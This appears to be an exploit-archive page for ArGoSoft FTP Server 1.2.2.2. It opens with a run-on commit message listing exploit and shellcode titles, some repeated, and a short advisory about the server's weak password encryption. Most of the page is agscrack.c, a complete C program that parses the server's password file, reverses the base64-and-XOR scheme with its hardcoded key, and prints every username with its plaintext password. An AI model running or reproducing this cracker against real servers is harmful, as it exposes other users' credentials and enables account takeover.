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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
153 lines
No EOL
3.1 KiB
C
153 lines
No EOL
3.1 KiB
C
// source: https://www.securityfocus.com/bid/3029/info
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ArGoSoft FTP server is an FTP server for the Windows platform.
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A design error exists in ArGoSoft FTP which enables an authenticated user to view other users encrypted passwords. However due to a weak encryption scheme it is possible for a user to decrypt the password using a third party utility.
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/********************************************************************
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* agscrack.c - ArGoSoft FTP Server 1.2.2.2 password file cracker *
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* by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
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********************************************************************/
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#include <string.h>
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#include <stdio.h>
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int len; FILE *fh;
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/* DECRYPTION ALGORITHMS */
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unsigned char char2bin(unsigned char inbyte) {
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if ((inbyte >= 'A') && (inbyte <= 'Z')) { len++; return(inbyte-'A');
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}
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if ((inbyte >= 'a') && (inbyte <= 'z')) { len++;
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return(inbyte-'a'+26); }
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if ((inbyte >= '0') && (inbyte <= '9')) { len++; return(inbyte+4); }
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if (inbyte == '+') { len++; return('\x3E'); }
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if (inbyte == '/') { len++; return('\x3F'); }
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return('\x00');
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}
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void decode(unsigned char chars[], unsigned char bytes[]) {
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int i,retval=0;
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for(i=0; i<4; i++) { retval <<= 6; retval |= char2bin(chars[i]); }
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for(i=0; i<3; i++) { bytes[2-i] = retval & 0xFF; retval >>= 8; }
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len--;
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}
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void decryptpass(unsigned char encrypted[], unsigned char decrypted[])
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{
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const unsigned char heavycrypt0[] =
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"T3ZlciB0aGUgaGlsbHMgYW5kIGZhciBhd2F5LCBUZWxldHViYmllcyBjb21lIHRvIHBsYXk
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=";
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unsigned int j, k=0, l;
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len = 0;
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for(j=0; j<strlen(encrypted); j+=4) {
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decode(&encrypted[j], &decrypted[k]);
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for(l=0; l<3; l++) { decrypted[k] ^= heavycrypt0[k++]; }
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}
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decrypted[len] = '\x00';
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}
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/* DECRYPTION ALGORITHMS END */
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void main(int argc, char ** argv) {
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char password[128]; /* ArGoSoft's passwords don't get larger than 128
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bytes */
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char buf[256]; char b;
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int rd;
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printf("ArGoSoft FTP Server 1.2.2.2 password file cracker by
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[ByteRage]\n\n");
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if (argc<2) { printf("Syntax : %s <password(file)>\n", argv[0]);
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return 1; }
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fh = fopen(argv[1], "rb");
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if (!fh) {
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decryptpass(argv[1], &password);
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printf("%s -> %s\n", argv[1], password);
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return 0;
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} else {
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/* simple password file processor */
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fread(&buf,1,1,fh);
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if (buf[0] == 4) {
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while (1) {
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if (fread(&b,1,1,fh) == 0) { break; }
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if (fread(&buf,1,b+1,fh) == 0) { break; }
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printf("%s : ", buf);
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b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }
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if (fread(&buf,1,b+1,fh) == 0) { break; }
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decryptpass(&buf, &password);
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printf("%s -> %s\n", &buf, password);
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b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }
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if (fread(&buf,1,b+1,fh) == 0) { break; }
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b=0; while(b!=4) if (fread(&b,1,1,fh) == 0) { break; }
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}
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} else printf("error when processing passwordfile!");
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fclose(fh);
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}
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} |